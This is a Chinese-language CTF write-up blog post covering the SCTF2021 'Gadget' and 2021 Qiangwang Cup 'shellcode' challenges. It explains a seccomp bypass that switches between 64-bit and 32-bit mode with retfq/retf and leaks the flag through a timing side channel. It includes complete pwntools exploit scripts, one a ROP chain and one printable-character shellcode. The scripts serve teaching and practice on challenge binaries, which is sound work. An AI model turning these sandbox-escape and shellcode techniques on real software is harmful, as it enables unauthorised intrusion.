SCTF2021 Gadget (WriteUp)

前言

这是刚结束不久的SCTF里的一题,这次SCTF我没去打,但是赛后看了看题目,发现真的基本都没接触过,只有这题能写写,我还是太菜了。
本篇博客题目附件的下载地址

题目分析

开了沙盒,沙盒如下:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x25 0x03 0x00 0x40000000  if (A > 0x40000000) goto 0005
 0002: 0x15 0x03 0x00 0x00000005  if (A == fstat) goto 0006
 0003: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0006
 0004: 0x15 0x01 0x00 0x00000025  if (A == alarm) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW

白名单里只有三个系统调用可以使用,既然禁用了execve,自然想到要orw,但是只有readopenwrite都被禁用了。
不过,我们发现这个沙盒没有arch限制必须是64,又注意到了fstat这个并不常见的系统调用,由此为突破口,发现其系统调用号为5恰巧32位下open的系统调用号为5,而此沙盒又是以判断系统调用号来禁用系统调用的,结合以上,不难想到通过retfq切换64位到32,然后调用open,再用retf切换回64位,调用read,至于禁用了write,可以采用侧信道攻击的方式爆破flag(就是类似于web中的sql时间盲注,比如缓冲区中的字符和爆破猜测的相等,就卡个死循环,然后通过接收数据判断是否超时来确定有没有爆破正确,当然用二分法更加快)。
至于漏洞点,非常明显,就是一个栈溢出,但是由于无法泄露libc,只能在elf文件中寻找合适的gadget构造rop链了,也并不困难。
此外,补充说明一下retfq的切换原理,其实程序判别是64位还是32位,主要靠cs寄存器,而retfq就相当于pop ip; pop cs,其中cs0x23代表32位,为0x33代表64位,并且retfq是按64pop的(8字节),retf则是按32pop的(4字节)。
还有需要注意的是,在64位切换到32位时,地址解析的规则也会变为32位的,因此栈帧会发生改变,如原先的rsp = 0x7fff23333333会被解析成esp = 0x23333333,所以直接把ropshellcode布置在64位的地址上就会在pushpop等操作时出问题,故需要先将ropshellcode写入bss段等短地址区域上,在切换跳转后,也要注意平衡栈帧。

exp

from pwn import *
context(os = "linux", arch = "amd64")
#context(log_level = 'debug')
elf = ELF("./pwn")
possible_list = "0123456789_abcdefghijklmnopqrstuvwxyz{}"

bss_addr = elf.bss() + 0x500
pop_rax_ret = 0x401001
pop_rbx_r14_r15_rbp_ret = 0x403072
pop_rcx_ret = 0x40117b
pop_rdi_rbp_ret = 0x401734
pop_rdi_jmp_rax = 0x402be4
pop_rsi_r15_rbp_ret = 0x401732
mov_rsi_r15_mov_rdx_r12_call_r14 = 0x402c04 # call -> push + jmp
pop_r12_r14_r15_rbp_ret = 0x40172f
pop_rsp_ret = 0x409d1c # mov edi,...
pop_rbp_ret = 0x401102
syscall_pop_rbp_ret = 0x401165
int_0x80_ret = 0x4011f3
retf_addr = 0x4011ed
cmp_addr = 0x408266 # cmp byte ptr [rax - 0x46], cl ; push rbp ; ret 0x5069
jnz_addr = 0x405831 # jnz  0x405837
loop = 0x405837 # jmp  0x405837

def pwn(index, char):
	payload = b'\x00'*0x38
	payload += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_rbp_ret) + p64(0)*2
	payload += p64(pop_r12_r14_r15_rbp_ret) + p64(0x100) + p64(syscall_pop_rbp_ret) + p64(bss_addr) + p64(0)
	payload += p64(mov_rsi_r15_mov_rdx_r12_call_r14) + p64(pop_rsp_ret) + p64(bss_addr + 8)
	io.send(payload.ljust(0xC0, b'\x00'))
	sleep(0.1)
	payload = b'./flag\x00\x00' + p64(pop_rax_ret) + p64(5)
	payload += p64(pop_rbx_r14_r15_rbp_ret) + p64(bss_addr) + p64(0)*3
	payload += p64(pop_rcx_ret) + p64(0)
	payload += p64(retf_addr) + p32(int_0x80_ret) + p32(0x23)
	payload += p32(retf_addr) + p32(pop_rax_ret) + p32(0x33) + p64(0)
	payload += p64(pop_rdi_rbp_ret) + p64(3) + p64(0)
	payload += p64(pop_rsi_r15_rbp_ret) + p64(bss_addr + 0x200) + p64(0)*2 + p64(syscall_pop_rbp_ret) + p64(0)
	payload += p64(pop_rax_ret) + p64(bss_addr + 0x200 + 0x46 + index)
	payload += p64(pop_rcx_ret) + p64(char)
	payload += p64(pop_rbp_ret) + p64(jnz_addr)
	payload += p64(cmp_addr)
	io.send(payload)

if __name__ == '__main__':
	pos = 0
	flag = ""
	while True:
		left, right = 0, len(possible_list)-1
		for i in possible_list :
			io = process('./pwn')
			pwn(pos, ord(i))
			try:
				io.recv(timeout = 1)
				io.close()
			except:
				flag += i
				print(flag)
				io.close()
				break
		if i == '}' :
			break
		pos = pos + 1
	success(flag)
# sctf{woww0w_y0u_1s_g4dget_m45ter}

2021强网杯 shellcode

这是一道与之极为相似的题目,只不过改为直接打shellcode了,思路完全一致,就不再作详细分析了,直接附上exp吧,这里我写了个二分法,速度还算可观。
就提一点,本题限制了shellcode只能为可见字符,因此syscallint 80hretfq等命令都不能直接写进去,因为它们编译后的shellcode都不全是可见字符,但是我们可以通过xoraddsub等运算的指令,构造出它们的机器码,如:push rdxpop rdx的机器码分别为\x52\x5a,让它们分别xor0x5d0x5f就得到了\x0f\x05,合起来就是syscall的机器码了,至于为何选用0x5d0x5f,是因为push 0x5dpush 0x5fshellcode也都是可见字符。

from pwn import *
#context(log_level = 'debug')

possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

def pwn(pos, char):
	shellcode_open_x86 = '''
		/*fp = open("flag")*/
		mov esp,0x40404140
		push 0x67616c66
		push esp
		pop ebx
		xor ecx,ecx
		mov eax,5
		int 0x80
		push 0x33
		push 0x4040405E
		retf
	'''
	
	shellcode_read_flag = '''
		/*read(fp,buf,0x70)*/
		mov rdi,3
		mov rsi,rsp
		mov rdx,0x70
		xor rax,rax
		syscall
	'''
	
	shellcode_read_flag += F'''
		cmp byte ptr[rsi+{pos}], {char}
		ja loop
		ret
		loop:
		jmp loop
	'''
    
	shellcode_open_x86 = asm(shellcode_open_x86, arch = 'i386', os = 'linux')
	shellcode_read_flag = asm(shellcode_read_flag, arch = 'amd64', os = 'linux')
	
	syscall_retfq = '''
		push rdx
		pop rdx
	'''
	
	shellcode_mmap = '''
		/*mmap(0x40404040,0x7e,7,34,0,0)*/
		push 0x40404040 /*set rdi*/
		pop rdi

		push 0x7e /*set rsi*/
		pop rsi

		push 0x40 /*set rdx*/
		pop rax
		xor al,0x47
		push rax
		pop rdx

		push 0x40 /*set r8*/
		pop rax
		xor al,0x40
		push rax
		pop r8

		push rax /*set r9*/
		pop r9

		/*syscall*/
		push rbx
		pop rax
		push 0x5d
		pop rcx
		xor byte ptr[rax+0x31],cl
		push 0x5f
		pop rcx
		xor byte ptr[rax+0x32],cl

		push 0x22 /*set rcx*/
		pop rcx

		push 0x40/*set rax*/
		pop rax
		xor al,0x49
	'''
	
	shellcode_read = '''
		/*read(0,0x40404040,0x70)*/
		push 0x40404040
		pop rsi
		push 0x40
		pop rax
		xor al,0x40
		push rax
		pop rdi
		push 0x70
		pop rdx

		push rbx
		pop rax
		push 0x5d
		pop rcx
		xor byte ptr[rax+0x55],cl
		push 0x5f
		pop rcx
		xor byte ptr[rax+0x56],cl

		push rdx
		pop rax
		xor al,0x70
	'''

	shellcode_retfq = '''
		push rbx
		pop rax
		xor al,0x40
		
		push 0x72
		pop rcx
		xor byte ptr[rax+0x3a],cl
		push 0x68
		pop rcx
		xor byte ptr[rax+0x3a],cl
		push 0x47
		pop rcx
		sub byte ptr[rax+0x3b],cl
		push 0x48
		pop rcx
		sub byte ptr[rax+0x3b],cl
		push 0x23
		push 0x40404040
	'''

	shellcode = shellcode_mmap
	shellcode += syscall_retfq
	shellcode += shellcode_read
	shellcode += syscall_retfq
	shellcode += shellcode_retfq
	shellcode += syscall_retfq
	shellcode = asm(shellcode, arch = 'amd64', os = 'linux')
	io.sendline(shellcode)
	sleep(0.1)
	io.sendline(shellcode_open_x86 + shellcode_read_flag)

if __name__ == '__main__':
	start = time.time()
	pos = 0
	flag = ""
	while True:
		left, right = 0, len(possible_list)-1
		while left < right :
			mid = (left + right) >> 1
			io = process('./pwn')
			pwn(pos, ord(possible_list[mid]))
			try:
				io.recv(timeout = 1)
				left = mid + 1
			except:
				right = mid
			io.close()
		flag += possible_list[left]
		print(flag)
		if possible_list[left] == '}' :
			break
		pos = pos + 1
	success(flag)
	end = time.time()
	success("time:\t" + str(end - start) + "s")
posted @ 2021-12-31 00:00  winmt  阅读(655)  评论(1编辑  收藏  举报